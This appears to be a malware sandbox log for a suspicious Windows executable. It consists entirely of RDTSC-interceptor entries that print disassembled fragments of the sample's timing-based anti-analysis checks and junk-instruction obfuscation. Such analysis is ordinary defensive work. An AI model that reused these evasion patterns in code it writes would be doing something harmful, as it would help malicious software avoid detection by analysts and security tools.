Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C1A105 second address: C1A109 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C192C7 second address: C192CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C1B124 second address: C1B19A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3A81335208h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F3A81335208h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 mov ebx, dword ptr [ebp+1247D2EEh] 0x0000002d push 00000000h 0x0000002f mov bx, FBB4h 0x00000033 mov edi, dword ptr [ebp+122D27EAh] 0x00000039 push 00000000h 0x0000003b jo 00007F3A81335212h 0x00000041 jng 00007F3A8133520Ch 0x00000047 mov ebx, dword ptr [ebp+122D2C10h] 0x0000004d sub di, 9E4Eh 0x00000052 xchg eax, esi 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F3A81335215h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C1BF74 second address: C1BF78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C1DF36 second address: C1DF44 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3A81335206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C1DF44 second address: C1DFC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F3A80CCDB9Dh 0x0000000d nop 0x0000000e mov bx, dx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007F3A80CCDB98h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 00000016h 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d mov edi, 1AD9732Bh 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007F3A80CCDB98h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 0000001Dh 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e mov edi, eax 0x00000050 xchg eax, esi 0x00000051 jmp 00007F3A80CCDBA1h 0x00000056 push eax 0x00000057 push esi 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C1DFC3 second address: C1DFC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C1DFC7 second address: C1DFCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C1C0F4 second address: C1C0F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C1E18F second address: C1E1B3 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3A80CCDB98h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F3A80CCDBA5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BC2F14 second address: BC2F22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A8133520Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C1C0F8 second address: C1C193 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov ebx, esi 0x0000000a push dword ptr fs:[00000000h] 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F3A80CCDB98h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b jl 00007F3A80CCDB9Ch 0x00000031 add dword ptr [ebp+122D2795h], ebx 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e push 00000000h 0x00000040 push eax 0x00000041 call 00007F3A80CCDB98h 0x00000046 pop eax 0x00000047 mov dword ptr [esp+04h], eax 0x0000004b add dword ptr [esp+04h], 00000018h 0x00000053 inc eax 0x00000054 push eax 0x00000055 ret 0x00000056 pop eax 0x00000057 ret 0x00000058 xor di, E3F8h 0x0000005d mov eax, dword ptr [ebp+122D0705h] 0x00000063 jo 00007F3A80CCDB96h 0x00000069 push FFFFFFFFh 0x0000006b sub ebx, dword ptr [ebp+122D2A88h] 0x00000071 push eax 0x00000072 push edx 0x00000073 push eax 0x00000074 push edx 0x00000075 jmp 00007F3A80CCDBA6h 0x0000007a rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C1E1B3 second address: C1E1BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C206A8 second address: C20726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 call 00007F3A80CCDBA3h 0x0000000e mov bx, dx 0x00000011 pop edi 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007F3A80CCDB98h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 00000015h 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push esi 0x00000033 call 00007F3A80CCDB98h 0x00000038 pop esi 0x00000039 mov dword ptr [esp+04h], esi 0x0000003d add dword ptr [esp+04h], 0000001Ah 0x00000045 inc esi 0x00000046 push esi 0x00000047 ret 0x00000048 pop esi 0x00000049 ret 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F3A80CCDBA8h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C217CC second address: C21848 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F3A81335208h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 and bx, E9B2h 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ebp 0x0000002d call 00007F3A81335208h 0x00000032 pop ebp 0x00000033 mov dword ptr [esp+04h], ebp 0x00000037 add dword ptr [esp+04h], 00000015h 0x0000003f inc ebp 0x00000040 push ebp 0x00000041 ret 0x00000042 pop ebp 0x00000043 ret 0x00000044 movzx edi, dx 0x00000047 push 00000000h 0x00000049 push 00000000h 0x0000004b push esi 0x0000004c call 00007F3A81335208h 0x00000051 pop esi 0x00000052 mov dword ptr [esp+04h], esi 0x00000056 add dword ptr [esp+04h], 00000017h 0x0000005e inc esi 0x0000005f push esi 0x00000060 ret 0x00000061 pop esi 0x00000062 ret 0x00000063 push eax 0x00000064 push eax 0x00000065 push edx 0x00000066 push ecx 0x00000067 jbe 00007F3A81335206h 0x0000006d pop ecx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C2379D second address: C237A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BC7FFC second address: BC801B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A81335218h 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C2B55F second address: C2B579 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F3A80CCDBA4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C2B579 second address: C2B590 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3A81335206h 0x00000008 jne 00007F3A81335206h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C2B590 second address: C2B596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C2B596 second address: C2B59D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C2B59D second address: C2B5A7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3A80CCDB9Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C309F3 second address: C309F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C309F7 second address: C309FF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C309FF second address: C30A31 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3A8133520Eh 0x00000008 pushad 0x00000009 jmp 00007F3A8133520Ah 0x0000000e js 00007F3A81335206h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 je 00007F3A8133523Fh 0x0000001f push eax 0x00000020 push edx 0x00000021 push edx 0x00000022 pop edx 0x00000023 push esi 0x00000024 pop esi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C30A31 second address: C30A5A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3A80CCDB96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F3A80CCDB96h 0x00000012 jmp 00007F3A80CCDBA7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C30A5A second address: C30A5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C35C16 second address: C35C1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C35C1B second address: C35C37 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3A8133520Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f jo 00007F3A81335206h 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C35C37 second address: C35C51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDB9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C35C51 second address: C35C55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C35C55 second address: C35C68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDB9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C35C68 second address: C35C6D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C3C253 second address: C3C25E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jno 00007F3A80CCDB96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C3AF44 second address: C3AF7A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3A8133520Ch 0x00000008 jbe 00007F3A81335206h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 jmp 00007F3A81335219h 0x00000017 jl 00007F3A81335206h 0x0000001d pop eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push ebx 0x00000021 pop ebx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C3B7BA second address: C3B7C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C3BA91 second address: C3BA95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C3BA95 second address: C3BAA9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F3A80CCDBB4h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C3BAA9 second address: C3BAB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007F3A81335206h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C3BBEC second address: C3BBF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C3EE2C second address: C3EE43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3A81335211h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C43632 second address: C4363D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C07DBB second address: C07DC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C07DC1 second address: C07DC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C080F1 second address: C080F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C080F7 second address: A57B67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 nop 0x00000007 mov edi, dword ptr [ebp+122D2AF8h] 0x0000000d push dword ptr [ebp+122D15CDh] 0x00000013 mov dword ptr [ebp+1247D299h], edx 0x00000019 call dword ptr [ebp+122D28DAh] 0x0000001f pushad 0x00000020 pushad 0x00000021 mov edx, ecx 0x00000023 mov ecx, dword ptr [ebp+122D2A14h] 0x00000029 popad 0x0000002a xor eax, eax 0x0000002c jmp 00007F3A80CCDBA8h 0x00000031 mov edx, dword ptr [esp+28h] 0x00000035 jp 00007F3A80CCDB9Ch 0x0000003b mov dword ptr [ebp+122D2AB0h], eax 0x00000041 jmp 00007F3A80CCDBA3h 0x00000046 mov esi, 0000003Ch 0x0000004b stc 0x0000004c add esi, dword ptr [esp+24h] 0x00000050 jng 00007F3A80CCDB9Ch 0x00000056 sub dword ptr [ebp+122D389Ch], ebx 0x0000005c lodsw 0x0000005e clc 0x0000005f add eax, dword ptr [esp+24h] 0x00000063 jmp 00007F3A80CCDB9Dh 0x00000068 sub dword ptr [ebp+122D3839h], ebx 0x0000006e mov ebx, dword ptr [esp+24h] 0x00000072 jmp 00007F3A80CCDB9Bh 0x00000077 push eax 0x00000078 push eax 0x00000079 push edx 0x0000007a jnc 00007F3A80CCDB98h 0x00000080 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C082ED second address: C08330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 jl 00007F3A8133521Bh 0x0000000f jmp 00007F3A81335215h 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push edx 0x00000019 jmp 00007F3A81335211h 0x0000001e pop edx 0x0000001f mov eax, dword ptr [eax] 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C08330 second address: C08336 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C083FE second address: C08404 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C084A8 second address: C084BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A80CCDBA2h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C084BF second address: C084D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 ja 00007F3A81335206h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], esi 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C084D7 second address: C084E1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3A80CCDB96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C085C8 second address: C085F4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F3A81335219h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push edx 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C085F4 second address: C08607 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDB9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C08827 second address: C0882D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C0882D second address: C08831 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C08831 second address: C088A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007F3A81335208h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 sub ecx, dword ptr [ebp+122D2B40h] 0x00000029 push 00000004h 0x0000002b push 00000000h 0x0000002d push ebx 0x0000002e call 00007F3A81335208h 0x00000033 pop ebx 0x00000034 mov dword ptr [esp+04h], ebx 0x00000038 add dword ptr [esp+04h], 00000014h 0x00000040 inc ebx 0x00000041 push ebx 0x00000042 ret 0x00000043 pop ebx 0x00000044 ret 0x00000045 mov dword ptr [ebp+122D3839h], eax 0x0000004b nop 0x0000004c jmp 00007F3A81335211h 0x00000051 push eax 0x00000052 push ebx 0x00000053 jc 00007F3A8133520Ch 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C08B49 second address: C08B4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C08B4D second address: C08B53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C08F5F second address: BF261B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 xor dword ptr [ebp+122D383Eh], edi 0x0000000f call dword ptr [ebp+122D2756h] 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 push esi 0x00000019 pop esi 0x0000001a jnl 00007F3A80CCDB96h 0x00000020 pop ecx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BF261B second address: BF262D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3A8133520Ch 0x00000008 js 00007F3A81335206h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BF262D second address: BF2631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BF2631 second address: BF2635 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C42DF5 second address: C42DFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C42DFB second address: C42DFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C431C0 second address: C431DB instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3A80CCDBADh 0x00000008 jmp 00007F3A80CCDBA1h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C46AAB second address: C46AAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C46AAF second address: C46AE0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDBA6h 0x00000007 jmp 00007F3A80CCDBA3h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C46AE0 second address: C46AE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: C46AE4 second address: C46AF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A80CCDB9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BD06E1 second address: BD06FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 jmp 00007F3A81335216h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BD06FF second address: BD0708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	RDTSC instruction interceptor: First address: BD0708 second address: BD070C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
